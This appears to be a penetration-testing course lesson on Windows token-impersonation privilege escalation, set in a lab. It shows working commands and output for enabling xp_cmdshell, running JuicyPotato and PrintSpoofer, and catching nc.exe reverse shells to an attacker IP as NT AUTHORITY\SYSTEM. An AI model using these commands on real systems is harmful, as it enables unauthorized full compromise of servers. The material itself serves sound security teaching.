**SeImpersonate and SeAssignPrimaryToken**

In Windows, every process has a token that has information about the account that is running it. These tokens are not considered secure resources, as they are just locations within memory that could be brute-forced by users that cannot read memory. To utilize the token, the SeImpersonate privilege is needed. It is only given to administrative accounts, and in most cases, can be removed during system hardening. An example of using this token would be [CreateProcessWithTokenW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw).

Legitimate programs may utilize another process's token to escalate from Administrator to Local System, which has additional privileges. Processes generally do this by making a call to the WinLogon process to get a SYSTEM token, then executing itself with that token placing it within the SYSTEM space. Attackers often abuse this privilege in the "Potato style" privescs - where a service account can SeImpersonate, but not obtain full SYSTEM level privileges. Essentially, the Potato attack tricks a process running as SYSTEM to connect to their process, which hands over the token to be used.

We will often run into this privilege after gaining remote code execution via an application that runs in the context of a service account (for example, uploading a web shell to an ASP.NET web application, achieving remote code execution through a Jenkins installation, or by executing commands through MSSQL queries). Whenever we gain access in this way, we should immediately check for this privilege as its presence often offers a quick and easy route to elevated privileges. This [paper](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) is worth reading for further details on token impersonation attacks.

**SeImpersonate Example - JuicyPotato**

Let's take the example below, where we have gained a foothold on a SQL server using a privileged SQL user. Client connections to IIS and SQL Server may be configured to use Windows Authentication. The server may then need to access other resources such as file shares as the connecting client. It can be done by impersonating the user whose context the client connection is established. To do so, the service account will be granted the [Impersonate a client after authentication](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/impersonate-a-client-after-authentication) privilege.

In this scenario, the SQL Service service account is running in the context of the default mssqlserver account. Imagine we have achieved command execution as this user using xp\_cmdshell using a set of credentials obtained in a logins.sql file on a file share using the Snaffler tool.

**Connecting with MSSQLClient.py**

Using the credentials sql\_dev:Str0ng\_P@ssw0rd!, let's first connect to the SQL server instance and confirm our privileges. We can do this using [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) from the Impacket toolkit.

Connecting with MSSQLClient.py

yovecio@htb[/htb]$ mssqlclient.py sql\_dev@10.129.43.30 -windows-auth

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:

[\*] Encryption required, switching to TLS

[\*] ENVCHANGE(DATABASE): Old Value: master, New Value: master

[\*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us\_english

[\*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

[\*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to 'master'.

[\*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to us\_english.

[\*] ACK: Result: 1 - Microsoft SQL Server (130 19162)

[!] Press help for extra shell commands

SQL>

**Enabling xp\_cmdshell**

Next, we must enable the xp\_cmdshell stored procedure to run operating system commands. We can do this via the Impacket MSSSQL shell by typing enable\_xp\_cmdshell. Typing help displays a few other command options.

Enabling xp\_cmdshell

SQL> enable\_xp\_cmdshell

[\*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.

[\*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'xp\_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install

Note: We don't actually have to type RECONFIGURE as Impacket does this for us.

**Confirming Access**

With this access, we can confirm that we are indeed running in the context of a SQL Server service account.

Confirming Access

SQL> xp\_cmdshell whoami

output

--------------------------------------------------------------------------------

nt service\mssql$sqlexpress01

**Checking Account Privileges**

Next, let's check what privileges the service account has been granted.

Checking Account Privileges

SQL> xp\_cmdshell whoami /priv

output

--------------------------------------------------------------------------------

PRIVILEGES INFORMATION

----------------------

Privilege Name Description State

============================= ========================================= ========

SeAssignPrimaryTokenPrivilege Replace a process level token Disabled

SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeManageVolumePrivilege Perform volume maintenance tasks Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The command whoami /priv confirms that [SeImpersonatePrivilege](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege) is listed. This privilege can be used to impersonate a privileged account such as NT AUTHORITY\SYSTEM. [JuicyPotato](https://github.com/ohpe/juicy-potato) can be used to exploit the SeImpersonate or SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse.

**Escalating Privileges Using JuicyPotato**

To escalate privileges using these rights, let's first download the JuicyPotato.exe binary and upload this and nc.exe to the target server. Next, stand up a Netcat listener on port 8443, and execute the command below where -l is the COM server listening port, -p is the program to launch (cmd.exe), -a is the argument passed to cmd.exe, and -t is the createprocess call. Below, we are telling the tool to try both the [CreateProcessWithTokenW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) and [CreateProcessAsUser](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) functions, which need SeImpersonate or SeAssignPrimaryToken privileges respectively.

Escalating Privileges Using JuicyPotato

SQL> xp\_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t \*

output

--------------------------------------------------------------------------------

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375

[+] authresult 0

{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

[+] calling 0x000000000088ce08

**Catching SYSTEM Shell**

This completes successfully, and a shell as NT AUTHORITY\SYSTEM is received.

Catching SYSTEM Shell

yovecio@htb[/htb]$ sudo nc -lnvp 8443

listening on [any] 8443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami

nt authority\system

C:\Windows\system32>hostname

hostname

WINLPE-SRV01

**PrintSpoofer and RoguePotato**

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) and [RoguePotato](https://github.com/antonioCoco/RoguePotato) can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.

**Escalating Privileges using PrintSpoofer**

Let's try this out using the PrintSpoofer tool. We can use the tool to spawn a SYSTEM process in your current console and interact with it, spawn a SYSTEM process on a desktop (if logged on locally or via RDP), or catch a reverse shell - which we will do in our example. Again, connect with mssqlclient.py and use the tool with the -c argument to execute a command. Here, using nc.exe to spawn a reverse shell (with a Netcat listener waiting on our attack box on port 8443).

Escalating Privileges using PrintSpoofer

SQL> xp\_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

output

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

**Catching Reverse Shell as SYSTEM**

If all goes according to plan, we will have a SYSTEM shell on our netcat listener.

Catching Reverse Shell as SYSTEM

yovecio@htb[/htb]$ nc -lnvp 8443

listening on [any] 8443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 49847

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami

nt authority\system

Escalating privileges by leveraging SeImpersonate is very common. It is essential to be familiar with the various methods available to us depending on the target host OS version and level.